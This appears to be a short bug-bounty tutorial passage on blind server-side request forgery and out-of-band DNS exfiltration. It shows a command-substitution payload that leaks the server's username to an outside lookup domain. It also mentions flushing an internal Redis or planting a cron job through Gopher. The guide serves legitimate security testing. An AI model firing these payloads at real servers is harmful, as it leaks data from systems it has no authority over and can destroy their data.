What if you want to steal the server's hostname or a file, but it's totally blind? You "embed" the secret into a DNS request. You want to know the result of a command, so you make the server look up a sub-domain that contains the answer.
Steps
- If the server allows command execution or has a way to read variables:
- Payload:
http://$(whoami).xyz123.oastify.com- Your DNS Log: You will see a request for:
root.xyz123.oastify.com. - The Result: Even though the server never "sent" you a message, it leaked its username (
root) just by trying to find the address of that domain.
Why you should care about Blind SSRF?
In Bug Bounties, a "Blind" SSRF that can hit an internal Redis server is often rewarded the same as a regular SSRF. Why? Because an attacker can use it to "blindly" send a FLUSHALL command or write a cron job (using the Gopher technique we discussed) without ever needing to see a response.
Bottom Line
- Look for endpoints accepting :
url=
src=
dest=
webhook=
import=
proxy=
fetch=- Burp Intruder → payloads from PayloadsAllTheThings SSRF list
- Timing differences (internal vs external)
- Out-of-band: Burp Collaborator / Interactsh
- Response fingerprinting: AWS metadata returns specific JSON/XML